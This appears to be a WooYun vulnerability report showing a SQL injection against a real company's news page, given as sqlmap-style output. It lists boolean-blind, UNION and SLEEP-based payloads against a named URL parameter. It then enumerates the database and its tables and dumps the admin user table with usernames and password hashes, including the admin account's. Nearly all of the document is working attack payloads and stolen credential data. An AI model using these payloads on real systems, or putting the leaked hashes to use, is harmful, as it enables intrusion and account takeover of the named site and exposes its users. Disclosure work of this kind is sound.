WooYun.org

注入点:http://www.tcl.com/News/detail.html?nid=891
Place: GET
Parameter: nid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nid=891 AND 4308=4308
Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: nid=891 LIMIT 1,1 UNION ALL SELECT NULL, NULL, CONCAT(0x3a7066703a,
0x716a4652456464766467,0x3a686a6b3a), NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: nid=891 AND SLEEP(5)
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
available databases [3]:
[*] information_schema
[*] tclcms
[*] test
current database: 'tclcms'
current user: 'tcl@10.4.22.%'
Database: tclcms
[26 tables]
+--------------------------+
| t_about |
| t_development |
| t_email_subscriptions |
| t_investors |
| t_mall_index |
| t_maps |
| t_maps_area |
| t_maps_city |
| t_maps_province |
| t_multimedia |
| t_news |
| t_news_type |
| t_product |
| t_query |
| t_recruitment |
| t_recruitment_enterprise |
| t_series |
| t_series_category |
| t_series_models |
| t_service |
| t_sys_menu |
| t_sys_role |
| t_sys_rolemenu |
| t_sys_roleuserinf |
| t_sys_userinf |
| t_weibo |
+--------------------------+
Database: tclcms
Table: t_sys_userinf
[7 columns]
+-----------------+-------------+
| Column | Type |
+-----------------+-------------+
| active | tinyint(1) |
| createtime | datetime |
| last_login_date | datetime |
| loginname | varchar(50) |
| password | varchar(50) |
| userinfid | int(11) |
| username | varchar(50) |
+-----------------+-------------+
Database: tclcms
Table: t_sys_userinf
[4 entries]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 6b6b5078b4d67ee55259d1ae59cec7f3 |
| ??????? | 25d55ad283aa400af464c76d713c07ad |
| ?? | 25d55ad283aa400af464c76d713c07ad |
| ?? | 8a49a955ba28a7ac0cce7a916b8eec38 |
+----------+----------------------------------+
虽然3个乱码不过admin不会 搜噶